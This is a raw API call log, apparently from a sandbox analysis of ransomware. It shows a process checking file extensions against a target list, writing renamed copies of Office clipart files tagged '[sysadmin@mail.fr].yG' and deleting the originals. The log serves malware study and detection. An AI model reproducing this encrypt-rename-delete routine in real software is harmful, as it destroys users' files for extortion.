	[0182.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.706] lstrlenW (lpString=".xlsx") returned 5
	[0182.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.706] lstrlenW (lpString=".ppt") returned 4
	[0182.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.706] lstrlenW (lpString=".zip") returned 4
	[0182.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.706] lstrlenW (lpString=".rar") returned 4
	[0182.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.706] lstrlenW (lpString=".bz2") returned 4
	[0182.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.706] lstrlenW (lpString=".7z") returned 3
	[0182.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.708] lstrlenW (lpString=".dbf") returned 4
	[0182.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.708] lstrlenW (lpString=".1cd") returned 4
	[0182.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0182.708] lstrlenW (lpString=".jpg") returned 4
	[0182.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.708] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.708] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0182.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.709] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2004) returned 1
	[0182.709] CloseHandle (hObject=0x368) returned 1
	[0182.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220
	[0182.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.711] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.711] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0182.714] GetLastError () returned 0x0
	[0182.714] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x7d4, lpOverlapped=0x0) returned 1
	[0182.715] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x7e0, lpOverlapped=0x0) returned 1
	[0182.716] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.716] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.716] SetEndOfFile (hFile=0x30c) returned 1
	[0182.718] CloseHandle (hObject=0x30c) returned 1
	[0182.718] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.718] SetEndOfFile (hFile=0x368) returned 1
	[0182.719] CloseHandle (hObject=0x368) returned 1
	[0182.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.723] lstrlenW (lpString=".doc") returned 4
	[0182.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.723] lstrlenW (lpString=".docx") returned 5
	[0182.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.723] lstrlenW (lpString=".pdf") returned 4
	[0182.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.723] lstrlenW (lpString=".xls") returned 4
	[0182.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.724] lstrlenW (lpString=".xlsx") returned 5
	[0182.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.724] lstrlenW (lpString=".ppt") returned 4
	[0182.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.724] lstrlenW (lpString=".zip") returned 4
	[0182.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.724] lstrlenW (lpString=".rar") returned 4
	[0182.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.724] lstrlenW (lpString=".bz2") returned 4
	[0182.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.724] lstrlenW (lpString=".7z") returned 3
	[0182.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.724] lstrlenW (lpString=".dbf") returned 4
	[0182.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.724] lstrlenW (lpString=".1cd") returned 4
	[0182.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.724] lstrlenW (lpString=".jpg") returned 4
	[0182.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.726] lstrlenW (lpString=".doc") returned 4
	[0182.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.726] lstrlenW (lpString=".docx") returned 5
	[0182.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.726] lstrlenW (lpString=".pdf") returned 4
	[0182.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.726] lstrlenW (lpString=".xls") returned 4
	[0182.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.726] lstrlenW (lpString=".xlsx") returned 5
	[0182.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.726] lstrlenW (lpString=".ppt") returned 4
	[0182.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.726] lstrlenW (lpString=".zip") returned 4
	[0182.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.726] lstrlenW (lpString=".rar") returned 4
	[0182.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.727] lstrlenW (lpString=".bz2") returned 4
	[0182.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.727] lstrlenW (lpString=".7z") returned 3
	[0182.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.727] lstrlenW (lpString=".dbf") returned 4
	[0182.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.727] lstrlenW (lpString=".1cd") returned 4
	[0182.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0182.727] lstrlenW (lpString=".jpg") returned 4
	[0182.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.727] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.727] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0182.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.728] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2020) returned 1
	[0182.728] CloseHandle (hObject=0x368) returned 1
	[0182.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220
	[0182.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.730] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.730] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0182.731] GetLastError () returned 0x0
	[0182.731] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0183.301] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0183.303] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.303] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x30c) returned 1
	[0183.303] CloseHandle (hObject=0x30c) returned 1
	[0183.303] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.303] SetEndOfFile (hFile=0x368) returned 1
	[0183.304] CloseHandle (hObject=0x368) returned 1
	[0183.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0183.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.306] lstrlenW (lpString=".doc") returned 4
	[0183.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.306] lstrlenW (lpString=".docx") returned 5
	[0183.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.306] lstrlenW (lpString=".pdf") returned 4
	[0183.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.306] lstrlenW (lpString=".xls") returned 4
	[0183.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.306] lstrlenW (lpString=".xlsx") returned 5
	[0183.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.306] lstrlenW (lpString=".ppt") returned 4
	[0183.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString=".zip") returned 4
	[0183.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.307] lstrlenW (lpString=".rar") returned 4
	[0183.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString=".bz2") returned 4
	[0183.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString=".7z") returned 3
	[0183.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString=".dbf") returned 4
	[0183.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString=".1cd") returned 4
	[0183.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString=".jpg") returned 4
	[0183.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.307] lstrlenW (lpString=".doc") returned 4
	[0183.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.307] lstrlenW (lpString=".docx") returned 5
	[0183.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.307] lstrlenW (lpString=".pdf") returned 4
	[0183.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString=".xls") returned 4
	[0183.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.308] lstrlenW (lpString=".xlsx") returned 5
	[0183.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.308] lstrlenW (lpString=".ppt") returned 4
	[0183.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.308] lstrlenW (lpString=".zip") returned 4
	[0183.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.308] lstrlenW (lpString=".rar") returned 4
	[0183.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString=".bz2") returned 4
	[0183.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString=".7z") returned 3
	[0183.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.308] lstrlenW (lpString=".dbf") returned 4
	[0183.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.308] lstrlenW (lpString=".1cd") returned 4
	[0183.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0183.308] lstrlenW (lpString=".jpg") returned 4
	[0183.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.309] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.309] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0183.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.309] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2996) returned 1
	[0183.309] CloseHandle (hObject=0x368) returned 1
	[0183.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220
	[0183.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.310] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.310] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.312] GetLastError () returned 0x0
	[0183.313] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0xbb4, lpOverlapped=0x0) returned 1
	[0183.314] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xbc0, lpOverlapped=0x0) returned 1
	[0183.315] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.315] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.315] SetEndOfFile (hFile=0x30c) returned 1
	[0183.315] CloseHandle (hObject=0x30c) returned 1
	[0183.316] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.316] SetEndOfFile (hFile=0x368) returned 1
	[0183.318] CloseHandle (hObject=0x368) returned 1
	[0183.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0183.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.320] lstrlenW (lpString=".doc") returned 4
	[0183.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.320] lstrlenW (lpString=".docx") returned 5
	[0183.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.320] lstrlenW (lpString=".pdf") returned 4
	[0183.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.320] lstrlenW (lpString=".xls") returned 4
	[0183.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.320] lstrlenW (lpString=".xlsx") returned 5
	[0183.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.320] lstrlenW (lpString=".ppt") returned 4
	[0183.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.320] lstrlenW (lpString=".zip") returned 4
	[0183.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.320] lstrlenW (lpString=".rar") returned 4
	[0183.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.321] lstrlenW (lpString=".bz2") returned 4
	[0183.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.321] lstrlenW (lpString=".7z") returned 3
	[0183.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.321] lstrlenW (lpString=".dbf") returned 4
	[0183.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.321] lstrlenW (lpString=".1cd") returned 4
	[0183.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.321] lstrlenW (lpString=".jpg") returned 4
	[0183.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0183.322] lstrlenW (lpString=".doc") returned 4
	[0183.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString=".docx") returned 5
	[0183.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.322] lstrlenW (lpString=".pdf") returned 4
	[0183.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.322] lstrlenW (lpString=".xls") returned 4
